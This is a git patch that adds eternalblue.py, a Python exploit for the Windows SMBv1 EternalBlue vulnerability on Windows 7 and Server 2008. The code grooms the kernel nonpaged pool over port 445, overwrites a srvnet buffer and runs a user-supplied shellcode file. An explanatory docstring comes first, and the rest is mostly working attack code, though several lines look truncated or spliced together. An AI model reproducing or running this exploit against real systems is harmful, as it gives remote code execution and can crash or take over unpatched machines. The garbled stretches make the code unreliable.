From 928ce88fab78b7c381b6c028f838bd1659f1536f Mon Sep 17 00:00:00 2001 From: ilyar Date: Mon, 22 May 2017 18:33:27 +0800 Subject: [PATCH] Create eternalblue.py --- eternalblue.py | 555 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 555 insertions(+) create mode 100644 eternalblue.py diff --git a/eternalblue.py b/eternalblue.py new file mode 100644 index 0000000..68f5953 --- /dev/null +++ b/eternalblue.py @@ -0,0 +1,555 @@ +#!/usr/bin/python +from impacket import smb +from struct import pack +import os +import sys +import socket + +''' +EternalBlue exploit for Windows 7/2008 by sleepya +The exploit might FAIL and CRASH a target system (depended on what is overwritten) + +Tested on: +- Windows 7 SP1 x64 +- Windows 2008 R2 x64 + +Reference: +- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ + + +Bug detail: +- For the bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ +- You can see SrvOs2FeaListToNt(), SrvOs2FeaListSizeToNt() and SrvOs2FeaToNt() functions logic from WinNT4 source code +https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/ea.c#L263 +- In vulnerable SrvOs2FeaListSizeToNt() function, there is a important change from WinNT4 in for loop. The psuedo code is here. +if (nextFea > lastFeaStartLocation) { +// this code is for shrinking FeaList->cbList because last fea is invalid. +// FeaList->cbList is DWORD but it is cast to WORD. +*(WORD *)FeaList = (BYTE*)fea - (BYTE*)FeaList; +return size; +} +- Here is related struct info. +##### +typedef struct _FEA { /* fea */ +BYTE fEA; /* flags */ +BYTE cbName; /* name length not including NULL */ +USHORT cbValue; /* value length */ +} FEA, *PFEA; + +typedef struct _FEALIST { /* feal */ +DWORD cbList; /* total bytes of structure including full list */ +FEA list[1]; /* variable length FEA structures */ +} FEALIST, *PFEALIST; + +typedef struct _FILE_FULL_EA_INFORMATION { +ULONG NextEntryOffset; +UCHAR Flags; +UCHAR EaNameLength; +USHORT EaValueLength; +CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; +###### + + +Exploit info: +- I do not reverse engineer any x86 binary so I do not know about exact offset. +- The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode. +This memory page is executable on Windows 7 and Wndows 2008. +- The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64. +- The exploit trick is same as NSA exploit +- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool. +- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5) +- See the code and comment for exploit detail. + + +srvnet buffer info: +- srvnet buffer contains a pointer to another struct and MDL about received buffer +- Controlling MDL values results in arbitrary write +- Controlling pointer to fake struct results in code execution because there is pointer to function +- A srvnet buffer is created after target receiving first 4 bytes +- First 4 bytes contains length of SMB message +- The possible srvnet buffer size is "..., 0x8???, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough. +- After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message +- SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler() +- SrvNetCommonReceiveHandler() passes SMB message to SMB handler +- If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode +- If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called +- Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen. +- Memory leak is ok to be ignored +''' + +# wanted overflown buffer size (this exploit support only 0x10000 and 0x11000) +# the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time +# the size 0x11000 is used in nsa exploit. this size is more reliable. +NTFEA_SIZE = 0x11000 +# the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page + +ntfea10000 = pack(' SrvNetCommonReceiveHandler() -> call fn_ptr +fake_recv_struct = pack('= 0xffff: +flags2 &= ~smb.SMB.FLAGS2_UNICODE +reqSize = size // 2 +else: +flags2 |= smb.SMB.FLAGS2_UNICODE +reqSize = size +conn.set_flags(flags2=flags2) + +pkt = smb.NewSMBPacket() + +sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) +sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters() + +sessionSetup['Parameters']['MaxBuffer'] = 61440 # can be any value greater than response size +sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value +sessionSetup['Parameters']['VCNumber'] = os.getpid() +sessionSetup['Parameters']['SessionKey'] = 0 +sessionSetup['Parameters']['AnsiPwdLength'] = 0 +sessionSetup['Parameters']['UnicodePwdLength'] = 0 +sessionSetup['Parameters']['Capabilities'] = 0x80000000 + +# set ByteCount here +sessionSetup['Data'] = pack(' 0: +pad2Len = (4 - fixedOffset % 4) % 4 +transCommand['Data']['Pad2'] = '\xFF' * pad2Len +else: +transCommand['Data']['Pad2'] = '' +pad2Len = 0 + +transCommand['Parameters']['DataCount'] = len(data) +transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len +transCommand['Parameters']['DataDisplacement'] = displacement + +transCommand['Data']['Trans_Parameters'] = '' +transCommand['Data']['Trans_Data'] = data +pkt.addCommand(transCommand) + +conn.sendSMB(pkt) + + +def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): +pkt = smb.NewSMBPacket() +pkt['Tid'] = tid + +command = pack(' 0: +padLen = (4 - fixedOffset % 4 ) % 4 +padBytes = '\xFF' * padLen +transCommand['Data']['Pad1'] = padBytes +else: +transCommand['Data']['Pad1'] = '' +padLen = 0 + +transCommand['Parameters']['ParameterCount'] = len(param) +transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen + +if len(data) > 0: +pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 +transCommand['Data']['Pad2'] = '\xFF' * pad2Len +else: +transCommand['Data']['Pad2'] = '' +pad2Len = 0 + +transCommand['Parameters']['DataCount'] = firstDataFragmentSize +transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len + +transCommand['Data']['Trans_Parameters'] = param +transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] +pkt.addCommand(transCommand) + +conn.sendSMB(pkt) +conn.recvSMB() # must be success + +i = firstDataFragmentSize +while i < len(data): +sendSize = min(4096, len(data) - i) +if len(data) - i <= 4096: +if not sendLastChunk: +break +send_trans2_second(conn, tid, data[i:i+sendSize], i) +i += sendSize + +if sendLastChunk: +conn.recvSMB() +return i + + +# connect to target and send a large nbss size with data 0x80 bytes +# this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target +# a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten) +def createConnectionWithBigSMBFirst80(target): +# https://msdn.microsoft.com/en-us/library/cc246496.aspx +# Above link is about SMB2, but the important here is first 4 bytes. +# If using wireshark, you will see the StreamProtocolLength is NBSS length. +# The first 4 bytes is same for all SMB version. It is used for determine the SMB message length. +# +# After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message. +# srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message. +# Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too. +sk = socket.create_connection((target, 445)) +# For this exploit, use size is 0x11000 +pkt = '\x00' + '\x00' + pack('>H', 0xfff7) +# There is no need to be SMB2 because we got code execution by corrupted srvnet buffer. +# Also this is invalid SMB2 message. +# I believe NSA exploit use SMB2 for hiding alert from IDS +#pkt += '\xffSMB' # smb2 +# it can be anything even it is invalid +pkt += 'BAAD' # can be any +pkt += '\x00'*0x7c +sk.send(pkt) +return sk + + +def exploit(target, shellcode, numGroomConn): +# force using smb.SMB for SMB1 +conn = smb.SMB(target, target) + +# can use conn.login() for ntlmv2 +conn.login_standard('', '') +server_os = conn.get_server_os() +print('Target OS: '+server_os) +if not (server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 ")): +print('This exploit does not support this target') +sys.exit() + + +tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') + +# Here is code path in WinNT4 (all reference files are relative path to https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/) +# - SrvSmbNtTransaction() (smbtrans.c#L2677) +# - When all data is received, call ExecuteTransaction() at (smbtrans.c#L3113) +# - ExecuteTransaction() (smbtrans.c#L82) +# - Call dispatch table (smbtrans.c#L347) +# - Dispatch table is defined at srvdata.c#L972 (target is command 0, SrvSmbOpen2() function) +# - SrvSmbOpen2() (smbopen.c#L1002) +# - call SrvOs2FeaListToNt() (smbopen.c#L1095) + +# https://msdn.microsoft.com/en-us/library/ee441720.aspx +# Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command +# Note: cannot use SMB_COM_TRANSACTION2 for the exploit because the TotalDataCount field is USHORT +# Note: transaction max data count is 66512 (0x103d0) and DataDisplacement is USHORT +progress = send_nt_trans(conn, tid, 0, feaList, '\x00'*30, 2000, False) +# we have to know what size of NtFeaList will be created when last fragment is sent + +# make sure server recv all payload before starting allocate big NonPaged +#sendEcho(conn, tid, 'a'*12) + +# create buffer size NTFEA_SIZE-0x1000 at server +# this buffer MUST NOT be big enough for overflown buffer +allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010) + +# groom nonpaged pool +# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one +srvnetConn = [] +for i in range(numGroomConn): +sk = createConnectionWithBigSMBFirst80(target) +srvnetConn.append(sk) + +# create buffer size NTFEA_SIZE at server +# this buffer will be replaced by overflown buffer +holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10) +# disconnect allocConn to free buffer +# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer +allocConn.get_socket().close() + +# hope one of srvnetConn is next to holeConn +for i in range(5): +sk = createConnectionWithBigSMBFirst80(target) +srvnetConn.append(sk) + +# send echo again, all new 5 srvnet buffers should be created +#sendEcho(conn, tid, 'a'*12) + +# remove holeConn to create hole for fea buffer +holeConn.get_socket().close() + +# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header +send_trans2_second(conn, tid, feaList[progress:], progress) +recvPkt = conn.recvSMB() +retStatus = recvPkt.getNTStatus() +# retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag +if retStatus == 0xc000000d: +print('good response status: INVALID_PARAMETER') +else: +print('bad response status: 0x{:08x}'.format(retStatus)) + + +# one of srvnetConn struct header should be modified +# a corrupted buffer will write recv data in designed memory address +for sk in srvnetConn: +sk.send(fake_recv_struct + shellcode) + +# execute shellcode by closing srvnet connection +for sk in srvnetConn: +sk.close() + +# nicely close connection (no need for exploit) +conn.disconnect_tree(tid) +conn.logoff() +conn.get_socket().close() + + +if len(sys.argv) < 3: +print("{} [numGroomConn]".format(sys.argv[0])) +sys.exit(1) + +TARGET=sys.argv[1] +numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3]) + +fp = open(sys.argv[2], 'rb') +sc = fp.read() +fp.close() + +print('shellcode size: {:d}'.format(len(sc))) +print('numGroomConn: {:d}'.format(numGroomConn)) + +exploit(TARGET, sc, numGroomConn) +print('done')